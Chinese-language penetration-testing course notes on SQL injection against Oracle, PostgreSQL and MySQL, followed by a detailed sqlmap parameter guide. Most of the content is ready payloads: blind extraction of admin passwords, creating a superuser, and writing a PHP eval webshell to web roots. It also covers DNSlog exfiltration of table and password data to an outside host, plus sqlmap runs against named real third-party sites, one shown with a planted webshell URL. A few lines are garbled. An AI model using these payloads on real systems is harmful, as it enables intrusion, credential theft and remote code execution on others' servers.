DAY16+17-其他注入
一.Oracle 手工注入
● 1.Oracle数据库介绍
大型网站常用
● 是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品
● 基于“客户端/服务器”模式结构
● 特点
● 1.支持多用户、大事务量的处理
● 2.数据安全性和完整性的有效控制
● 3.支持分布式数据处理
● 4.移植性强
● 2.判断数据库
● 判断注入
● and 1=1
● and 1=2
● 判断oracle数据库
● and exists(select * from dual)
● and exists(select * from user_tables)
● 3.判断列数
● 表示有11列
● order by 11 返回正常
● order by 12 返回错误
● 4.获取数据类型不匹配的列
● 在每列上逐个用数字代替 如果返回正常说明该列为数字类型,反之则为非数字类型。
● ?id= 100 union select 1,2,3,4,5,6,7,8,9,10 from dual
● 也可以逐个用引号引起来如:'null','null' ... from dual, 返回正常说明该列为字符类型,反之为非数字类型
● ?id=100 union select 'null','null','null','null','null','null','null','null' from dual
● 5.获取基本信息
从dual数据库中获取
● 1.获取数据库版本
● (selectbanner from sys.v_$version where rownum=1)
● 2.获取操作系统版本
● (select member from v$logfile where rownum=1)
● 3.获取连接数据库的当前用户
● (select SYS_CONTEXT('USERENV','CURRENT_USER') from dual)
● 4.获取数据库
● (select owner from all_tables where rownum=1)
● 5.获取数据库版本
● (select banner from sys.v_$version whererownum=1)
● 6.获取操作系统版本
● ( select member from v$logfile where rownum=1)
● 7.获取数据库当前用户
● ( select SYS_CONTEXT('USERENV','CURRENT_USER')
● 6.获取表名
● 获取第一个表
ACCESS$
● (select table_name from user_tables where rownum=1)
● 获取第二个表
ALERT_QT
● (select table_name from user_tables where rownum=1 and table_name<>'ACCESS$')
● 获取第三个表
● (select table_name from user_tables where rownum=1 and table_name<>'ACCESS$'and table_name<>'ALERT_QT')
● 7.获取列名
假设表名为admin
● 获取第一列
EMPLOYEE_ID
● (select column_name from user_tab_columns where table_name='admin' and rownum=1)
● 获取第二列
NAME
● (select column_name from user_tab_columns where table_name='admin' and rownum=1 and column_name<>'EMPLOYEE_ID')
● 获取第三列
● (select column_name from user_tab_columns where table_name='admin' and rownum=1 andcolumn_name<>'EMPLOYEE_ID' and rownum=1 and column_name<>'NAME')
● 8.猜测注入
● 1.判断数据库中的表
admin改为username、manager等常用表名继续猜解
● and (select count(*) from admin) <>0
● 返回正常,说明存在admin表
● 2.判断该网站下管理员个数
如果有多个的话,成功入侵的几率就会加大
● and (select count(*) from admin)=1
● 返回正常说明只有一个管理员
● 3.指定表名获取列名
● and (select count(name) from admin)>=0
● 返回正常,说明存在name字段
● and (select count(pass) from admin)>=0
● 返回错误,说明不存在pass字段
● 4.猜解管理员帐号和密码
采用ASCII码折半法 ---bool盲注,用工具跑
● 判断管理员名字长度
● and (select count(*) from admin where length(name)>=5)=1
● 截取name字段的第一个字符,获取它的ascii码值
● and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1
● 截取name字段的第二个字符,获取它的ascii码值
● and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1
● 二.Postgresql 手工注入
● 1.Postgresql介绍
● PostgreSQL是以加州大学伯克利分校计算机系开发的 POSTGRES
● PostgreSQL 可以用许多方法扩展,增加了新的数据类型、函数、操作符、聚集函数、索引
● 免费使用、修改、和分发PostgreSQL,不管是私用、商用、还是学术研究使用。
● 2.Postgresql 数据库注入常用语法
● 1.判断是否为postgresql数据库
● ?id=1+and+1::int=1--
● 2.判断数据库版本信息
● ?id=1+and+1=cast(version() as int)--
● 3.判断当前用户
postgres用户权限比linux的root权限还大
● ?id=1 and 1=cast(user||123 as int)--
● union select null,user,null
● 4.判断有多少字段
● order by
● union select null,null,null
● 5.判断数据库版本信息
● union selectnull,version(),null--
● 6.判断用户权限
● union+select+null,current_schema(),null--
● 7.判断当前数据库名称
● union+select+null,current_database(),null--
● 8.判断当前表名
● union+select+null,relname,null+from pg_stat_user_tables--
● 9.读取指定表的所有列名
● union+select+null,column_name,null+from+information_schema.columns+where+table_name='表名'--
● 10.列字段内容
● +union+select+null,name||pass,null+from+admin
● 11.查看postgresql数据库的账号密码
● +union+select+null,usename||chr(124)||passwd,null+from+pg_shadow
● 12.创建账户
● ;create+user+seven+with+superuser+password+'seven'--
● 13.修改postgres用户的密码
● ;alter+user+postgres+with+password+'123456'--
● 3.Postgresql 写shell
● 1.直接拿shell
要先找到网站根目录
● 逐步执行
● ?id=1;create table shell(shell text not null);
● ?id=1;insert into shell values($<?php@eval(_POST[cracer]);?>$$);
● ?id=1;copy shell(shell) to '/var/www/html/shell.php';
● 一步到位
● ;copy (select '$$<?php @eval($_POST[cracer]);?>$$') to 'c:/inetpub/wwwroot/mysql-sql/ddd.php'
● 读取文件前20行
● pg_read_file('/etc/passwd',1,20)
● 2.创建system函数
用于版本大于8的数据库
● 1.创建一个system的函数:
● create FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
● 2.创建一个输出表:
● create table stdout(id serial,system_out text)
● 3.执行shell,输出到输出表内:
● select system('uname -a> /tmp/test')
● 4.copy 输出的内容到表里面;
● copy stdout(system_out) FROM '/tmp/test'
● 5.从输出表内读取执行后的回显,判断是否执行成功
● union all select NULL,(select stdout from system_out order by id desc),NULL limit 1 offset 1--
● 3.数据库备份和还原
权限很高,知道账户和密码
● 备份数据库
● pg_dump -O -h 168.192.0.5 -U postgres mdb >c:\\mdb.sql”
● 远程备份数据库到本地
● pg_dump -O -h 192.168.0.5 -U dbowner -w -p 5432 SS >SS.sql
● 还原数据库
● psql -h localhost -Upostgres -d mdb
● 4.插入一句话木马
权限很高
● 1.创建名为ccc的表
● ;create table ccc(w text not null);
● 2.向表ccc中插入一句话木马
● ;insert into ccc values($$<?php @eval($_POST[cracer]);?>$$);
● 3.导出一句话木马
● ;copy ccc(w) to $$/home/kasugai_tochi/public_html/script/cracer.php$$;
● 将一句话木马保存为cracer.php文件
● 4.菜刀连接
● http://www.kasugai-tochi.jp/script/cracer.php
● 三.各种提交方式的注入漏洞挖掘
● 1.常见的提交方式
● GET
● POST
● COOKIE
● HEAD
● PUT
● OPTION
● 2.GET注入
● 判断注入存在否
● '
● "
● -0
● /
● and 1=1
● and 1=2
● %bf'
魔术引号
● order by 1
● union
● 3.POST注入
● 可能存在漏洞的位置
● 表单
● 搜索框
● 登录
● 留言
● 注册
● XDCMS全版本存在sql注入漏洞
需要使用代理抓包改包工具进行完成
● %60%3D%28select%20group_concat%28username%2C0x3a%2Cpassword%29%20from%20c_admin%20where%20id%3D1%29%23
● '=(select group_concat(username,0x3a,password) from c_admin where id=1)#
● 利用工具
● burp suite抓包改包
● pangolin
● sqlmap
● sqlmap -u http://testasp.vulnweb.com/login.asp --data "tfUPass=1&tfUName=1"
● 4.COOKIE注入
cookie提交用于账号密码的cookie缓存
● 使用sqlmap
● sqlmap.py -u http://www.jnrcjt.com/onepage3.asp --cookie "id=30" --level 2
● 5.HTTP头注入
● 常见的http请求中存在注入的参数
● User-agent
● Referer
● X-Forwarded-For
● Client-ip
● exp构造分析
● 报错语句
● INSERT INTO blue_comment(com_id, post_id, user_id, type, mood,content, pub_date, ip, is_check) VALUES ('', '1', '0', '1', '6', 'test','1480988752', '1.1.1.1'', '1')
● 构造语句
已知表名blue_admin,存在列名为admin_name,pwd
● 1.1.1.1','1'),('','1','1','1','2',(select concat(admin_name,0x3a,pwd)from blue_admin limit 0,1),'1645457407','1.1.1.1','1')#
● 使用burp抓包
● 6.伪静态注入
● 参考网站
● 伪静态介绍
● 表面上看似是静态网页(以.html、.htm等结尾)+ 不存在任何的数据交互
● 却其实是动态网页,存在数据交互的网站
● 动态网页的id等参数通过URL重写来隐藏
● 判断伪静态
● 网址栏输入
● javascript:alert(document.lastModified)
● 得到网页最后的修改时间,如果得到的时间和现在时间一致,此页面就是伪静态
● 动态页面的最后修改时间总是当前时间,而静态页面的最后修改时间则是它生成的时间
● 使用sqlmap进行自动化注入攻击
● sqlmap -u http://xxx.xx.xx.xx:xx/test.php/id/1.html --database
● 7.延迟注入
延时注入是通过页面返回的时间来判断的
● MYSQL延迟注入
● mysql >=5.0 使用sleep()进行查询
● mysql<5.0 使用benchmark()进行查询
● benchmark用法
通过查询次数增多 时间变得缓慢来判断是否存在延迟
● benchmark(n,sql语句) n为查询次数
● select benchmark(1000,select * from admin);
● sleep()延迟注入用法
sleep可以强制产生一个固定的延迟。
● sleep()延迟注入核心原理
● and if(true,sleep(5),0); == if(1=1, true, false);
● 判断下是否存在延迟注入
● id=1 and sleep(5)
● 判断当前用户
● and if(substring(user(),1,4)='root',sleep(5),1)
● 判断数据库版本信息是否为5
● and if(mid(version(),1,1)like 5, sleep(5), 1)
● 判断数据库版本信息长度
● and if(length((version()))=6,sleep(10),1)--+
● 猜解数据库名称
● and if(ascii(substring(database(),1,4))>100,sleep(5),1)
● substring(startIndex, endIndex)
● and if(ascii(substr(database(),1,1))<115,sleep(5),1)--+
● substr(startIndex,lenth)
● 使用sqlmap
● sqlmap --time-sec=2
● 延迟注入2s
● 可扩展标记语言,标准通用标记语言的子集
● 8.dnslog 注入
dnslog 平台会记录域名dns查询记录
● 网站
● 条件
● root权限
● 要借助load_file()函数
● 原理
● 通过我们把查询的结果和dns子域名拼接,发送给dnslog平台查询
● 就会记录我们的语句查询结果,从而快速提升延迟注入速度。
● 查表名
● and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='xycms' limit 0,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+
● and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='xycms' limit 1,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+
● 查列名
● and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='user' limit 0,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+
● and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='user' limit 1,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+
● 列数据
● and if((select load_file(concat('\\\\',(select username from user limit 0,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+
● and if((select load_file(concat('\\\\',(select password from user limit 0,1),'.7dluss.dnslog.cn\\abc'))),1,1)--+
● 9.BASE64编码注入
● 解码
● $id=base64_decode($id);
● 编码
● ?id=1' union 1,2,3,4,5,6
● ?id=MScgdW5pb24gMSwyLDMsNCw1LDY=
● 10.二阶注入
● 原理
● 1.攻击者在一个HTTP请求中提交恶意输入
● 2.用于将恶意输入保存在数据库中。
● 3.攻击者提交第二个HTTP请求。
● 4.为处理第二个HTTP请求,应用检索存储在后端数据库中的恶意输入,动态构建SQL语句。
● 5.如果攻击实现,在第二个请求的响应中向攻击者返回结果。
● 攻击利用
● 攻击存储
● 注入攻击
● 11.PHPV9authkey 注入
针对phpv9
● 不如该版本的任意上传漏洞
● 参考网站:
● PHPcms V9 任意文件上传漏洞_phpcms v9漏洞-CSDN博客
● 利用exp爆出authkey
● phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V
● 然后本地构造注入页面进行注入
● 12.XML 实体注入
用户数据存放在xml文件当中
● 参考网站
● XML介绍
XML是用来存储数据的
● 是一种用于标记电子文件使其具有结构性的标记语言。
● XML提供了一套跨越平台,跨网络,跨应用程序的语言的描述方式。
● 使用XML可以方便的实现数据交换,系统配置,内容管理等。
● 漏洞形成原因
● 系统对用户输入"<",">"没有做转义的处理
● 用户可以控制
● 利用方式
读取文件内容
● 1.使用burp抓包
● 2.构造xml格式
● 3.改可显示变量为设定的xml变量
● 13.首尾闭合注入
● 注入语句
● ?id=1') order by 1-- and ('1=1')
● 执行语句
● select * from user where id = ('1') order by 1-- and ('1=1')
● 14.APP注入漏洞挖掘
● 手机需要安crt证书
抓https请求包
● 利用抓包工具获取app发送到服务器的链接
● 得到链接进行测试
● 使用sqlmap
得加--mobile
● sqlmap --mobile
● 四.sqlmap使用
读取数据库--->读取表---->读取表的列---->获取内容
● 0.参考网站
● SQLMap 使用参数详解_sqlmap参数_1A_的博客-CSDN博客
● 1.简介
● 是一个由Python语言编写的开源渗透测试工具
● 是一款功能强大的sql漏洞检测利用工具
● 2.检测的数据库
● access
● mssql
● mysql
● oracle
● postgresql
● db2
● sqlite
● 3.注入类型
● sql盲注
● union查询
● 显错注入
● 延迟注入
● post注入
● cookie注入
● 4.其他功能
● 执行命令
● 列举用户
● 检测权限
● 自动破解
● 数据导出
● 5.基本参数
● -h
查看帮助选项
● --is-dba
当前用户权限
● --dbs
所有数据库
● --current-db
网站当前数据库
● --users
所有数据库用户
● --current-user
当前数据库用户
● --tables
列表名
● --columns
列字段
● -dump
下载数据到本地
● --dump
获取表中的数据,包含列
● --dump-all
转存DBMS数据库所有表项目
● --level
测试等级(1-5),默认为1
● -D
指定数据库
● -T
指定表
● -C
指定列
● --dbms
指定数据库类型
● --users
枚举所有用户
● --passwords
枚举所有用户密码
● --roles
列出数据库管理员角色
● --privileges
列出数据库管理员权限
● 6.探测等级
--level
● 等级 1-5,默认为1
● level >= 2时会检测cookie是否有注入
● level >= 3时会检测User-Agent和Referer是否有注入
● level >= 5时会检测Host是否存在注入漏洞
● level设置还会影响union注入时检测的列数等
● 7.显示调试信息
-v 默认为1
● 0:只显示Python的tracebacks信息、错误信息[ERROR]和关键信息[CRITICAL];
● 1:同时显示普通信息[INFO]和警告信息[WARNING];
● 2:同时显示调试信息[DEBUG];
● 3:同时显示注入使用的攻击荷载;
● 4:同时显示HTTP请求;
● 5:同时显示HTTP响应头;
● 6:同时显示HTTP响应体。
● 8.风险等级
不推荐使用 risk >= 3的风险等级,存在修改表数据的风险
● 等级1-4,默认为1
● 1:会测试大部分的测试语句
● 2:会增加基于事件的测试语句
● 3:会增加OR语句的SQL注入测试
● 在UPDATE的语句中,注入一个OR的测试语句
● 可能导致更新的整个表,可能造成很大的风险
● 9.获取目标
● 1.参数:-u或者--url
● python sqlmap.py -u http://www.target.com/vuln.php?id=1
● 2.参数:-m
从文本中获取多个目标扫描
● python sqlmap.py -u http://www.target.com/vuln.php?id=1 -m D:/target.txt
● 3.参数:-r
从一个文本文件中获取HTTP请求
● python sqlmap.py -u http://www.target.com/vuln.php?id=1 -r D:/target.txt
● 4.参数:-g
测试注入Google的搜索结果中的GET参数(只获取前100个结果)
● python sqlmap.py -g "inurl:php?id="
● 5.参数:--data
把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数
● python sqlmap.py -u "http://www.cracer.com/cracer.php" --data="id=1"
● 6.参数:--param-del
当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数
● python sqlmap.py -u "http://www.cracer.com/vuln.php" --data="query=foobar;d=1" --param-del=";"
● 7.参数:--cookie
将参数加入cookie注入测试
● sqlmap -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --table --level 2
● 8.参数:--referer
● sqlmap可以在请求中伪造HTTP中的referer
● 当--level>=3的时候会尝试对referer注入
● 9.参数:--headers
可以通过--headers参数来增加额外的http头
● --hearders "client-ip: 1.1.1.1'"
● 10.参数:--proxy
● 使用--proxy代理是格式为:http://url:port
● --proxy=http://127.0.0.1:1080
● --proxy-file c:/1.txt
● 11.参数:-p
设置想要测试的参数
● -p "id,user-anget"
● 10.时间控制
● 参数:--delay
● 可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。
● 参数:--timeout
● 可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。
● 设定重试超时
● 参数:--retries
● 当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。
● 设定随机改变的参数值
● 参数:--time-sec
● 当使用继续时间的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒
● 11.绕过屏蔽策略
web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求
● 参数:--safe-url
● 提供一个安全不错误的连接,每隔一段时间都会去访问一下。
● 参数:--safe-freq
● 提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接
● 12.保证payload的正常执行
● 参数:--prefix,--suffix
● 调用数据库代码
● $query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
● 注入语句
● python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"
● 执行语句
● $query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";
● 13.探测注入类型
指定sqlmap使用的探测技术
● 支持的探测方式如下
● B: Boolean-based blind SQL injection(布尔型注入)
● E: Error-based SQL injection(报错型注入)
● U: UNION query SQL injection(可联合查询注入)
● S: Stacked queries SQL injection(可多语句查询注入)
● T: Time-based blind SQL injection(基于时间延迟注入)
● 14.增加测试的字段数
● 参数:--union-cols
● sqlmap -u "http://www.ntjx.org/jsj/DownloadShow.asp?admin=" --union-cols=10-12
● 测试12-16个字段数
● 默认情况下sqlmap测试UNION查询注入会测试1-10个字段数
● 当--level为5的时候他会增加测试到50个字段数
● 15.指定union查询的字符
默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败
● 参数:--union-char
● 16.二阶注入
注入点输入的数据看返回结果的时候并不是当前的页面,而是另外一个页面
● 参数:--second-order
● --second-order后面跟一个判断页面的URL地址
● 17.快速寻找
数据库和表的数量庞大
● 参数:--search
● 使用情况
● -C 后跟着用逗号分割的列名, 将会在所有数据库表中搜索指定的列名。
● -T 后跟着用逗号分割的表名, 将会在所有数据库中搜索指定的表名
● -D 后跟着用逗号分割的库名, 将会在所有数据库中搜索指定的库名。
● 18.保存文件
● 参数:-s
保存HTTP(S)日志
● sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件
● 如果用户想指定读取的文件路径,就可以用这个参数。
● 参数:-t
保存为文本文件格式
● sqlmap会把HTTP(S)请求与响应的日志保存到那里
● 19.默认执行
使用sqlmap提示的默认值一直运行下去
● 20.注册表操作
● 条件
● 当数据库为MySQL,PostgreSQL或Microsoft SQL Server
● 并且当前web应用支持堆查询
● 当前连接数据库的用户需要有权限操作注册表
● 读取注册表值
● 参数:--reg-read
● 写入注册表值
● 参数:--reg-add
● 删除注册表值
● 参数:--reg-del
● 注册表辅助选项
● 参数:--reg-key,--reg-value,--reg-data,--reg-type
● 示例
● $ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
● 21.暴力破解
当使用--tables无法获取到数据库的表时,可以使用此参数。
● 1.暴力破解表名
当使用--tables无法获取到数据库的表时,可以使用此参数。
● 参数:--common-tables
● 无法获取表名
● 1、MySQL数据库版本小于5.0,没有information_schema表。
● 2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
● 3、当前用户没有权限读取系统中保存数据结构的表的权限。
● 使用语句
● xxxx --common-tables -D testdb
● 暴力破解的表在txt/common-tables.txt文件中,也可以自己添加
● 2.暴力破解列名
● 参数:--common-columns
● 使用语句
● xxxx --common-columns -T text -D testdb
● 与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中
● 22.POST注入
● 登录框注入
● 注入网站示例
● http://testasp.vulnweb.com/Login.asp
● 使用语句
● sqlmap.py -r search-test.txt -p tfUPass
● sqlmap.py -u http://testasp.vulnweb.com/Login.asp --forms
● sqlmap.py -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"
● 搜索框注入
● 使用语句
● sqlmap.py -r search-test.txt
● 23.伪静态注入
● 注入网站示例
● http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html
● 使用语句
● sqlmap -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.htm
● 24.base64编码注入
● sqlmap -u http://ha.cker.in/index.php?tel=12345 --tamper base64encode.py –dbs
● 25.执行sql语句
● --sql-query="select @@version"
● 参数:--sql-shell
可以执行查询操作
● 26.文件读写
从数据库服务器中读取文件
● 参数:--file-read
● 条件
● 当数据库为MySQL,PostgreSQL或Microsoft SQL Server
● 并且当前用户有权限使用特定的函数
● 读取的文件可以是文本也可以是二进制文件
● 使用语句
● sqlmap.py -u "http://192.168.2.3:81/about/show.php?lang=cn&id=22" --file-read="C:\Inetpub\wwwroot\mysql-php\1.php"
● 27.文件上传
● 参数:--file-write,--file-dest
● 条件
● 当数据库为MySQL,PostgreSQL或Microsoft SQL Server
● 并且当前用户有权限使用特定的函数
● 上传的文件可以是文本也可以是二进制文件
● 使用语句
● sqlmap.py -u "http://192.168.2.129/article.php?id=5" --file-write="C:\1.php" --file-dest="/var/www/html/x.php"
● 28.命令执行
● 参数:--os-cmd,--os-shell
--os-shell:自动上传+脚本文件+返回shell
● cmd 执行cmd命令(win)
● shell 执行当前用户命令
● 条件
● 当数据库为MySQL,PostgreSQL或Microsoft SQL Server
● 并且当前用户有权限使用特定的函数
● 在MySQL、PostgreSQL,sqlmap上传一个二进制库
● 包含用户自定义的函数,sys_exec()和sys_eval()。
● 29.WAF绕过注入
● 注入网站示例
● http://192.168.159.1/news.php?id=1
● 使用语句
● sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs --batch --tamper "space2morehash.py" space2hash.py base64encode.py charencode.py
● 30.一些杂参数
● --flush-session
清空之前的session
● --hex
解决字符编码的问题,避免导致数据丢失
● --output-dir
可自定义输出路径 例如:--output-dir=/tmp
● --parse-errors
从响应中获取DBMS的错误信息
● --smart
只对能够快速判断为注入的报错点进行注入
● --mobile
设定一个手机的User-Agent来模仿手机登陆
● --identify-waf
尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别
● --check-waf
WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试
暂无评论
发表评论